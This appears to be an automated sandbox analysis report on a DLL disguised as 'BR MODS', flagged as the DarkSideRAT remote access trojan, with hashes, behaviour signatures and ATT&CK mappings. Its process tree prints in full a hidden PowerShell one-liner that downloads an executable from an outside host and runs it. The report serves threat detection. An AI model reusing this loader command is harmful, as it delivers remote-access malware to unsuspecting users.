darksiderat | ad8c60477c79380d22c04252d98b2bdf3d90c5accafcc0bc0038e6dd7e2e1513

Analysis

max time kernel
150s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 23:17

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General

Target
BR MODS.dll
Size 4.0MB
Sample260809-29txhsxcke
SHA256 ad8c60477c79380d22c04252d98b2bdf3d90c5accafcc0bc0038e6dd7e2e1513
MD5 ec3068993e495288652901e115f2318f
SHA1 716ee9dff628d5e12f6efcce34eca80817e53eee
SHA512 26b75535b15c8c3058ae67f7fdaca6ec50d1633db9002f27139ab447799efb4fbc09f3cda36b830f8c3d35ab599ae1b7db8e5f6fe3a503ac29ad65d5f91ff809
SSDEEP 49152:4S2K2Hgv1rCpylQQIVvcTn/PIJ5MpXecESyjYsqy55H9uxkNyAZOerb5qLz0iQVv:4jAlRAvSn/PsMpeqbxW3mQV
TLSH
T1F016F145E29602A8DF779278887A6617DAB17CC90370C7DB63DD4A266F13BF0267E310
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000016b3f-20.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	296	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
296	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	296	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2508	BK769135.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4692	cmd.exe
1500	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1004	rundll32.exe
1004	rundll32.exe
296	powershell.exe
296	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1004	rundll32.exe
Token: SeDebugPrivilege	296	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 4692	1004	rundll32.exe	89
PID 4692 wrote to memory of 1500	4692	cmd.exe	91
PID 1500 wrote to memory of 296	1500	cmd.exe	94
PID 296 wrote to memory of 2508	296	powershell.exe	98

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BR MODS.dll",#1
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK769135.exe; Start-Process -FilePath $env:TEMP\BK769135.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:296
    - - C:\Users\Admin\AppData\Local\Temp\BK769135.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK769135.exe"
        5⤵
        Executes dropped EXE
        
        PID:2508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK769135.exe

Path C:\Users\Admin\AppData\Local\Temp\BK769135.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/296-10-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-13-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-5-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-6-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-7-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-8-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-2-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-11-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-9-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-12-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-0-0x00007FFA478DF000-0x00007FFA478E0000-memory.dmp

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memory/296-14-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-15-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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memory/296-1-0x00000250DD550000-0x00000250DD572000-memory.dmp

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memory/296-25-0x00007FFA47750000-0x00007FFA480F4000-memory.dmp

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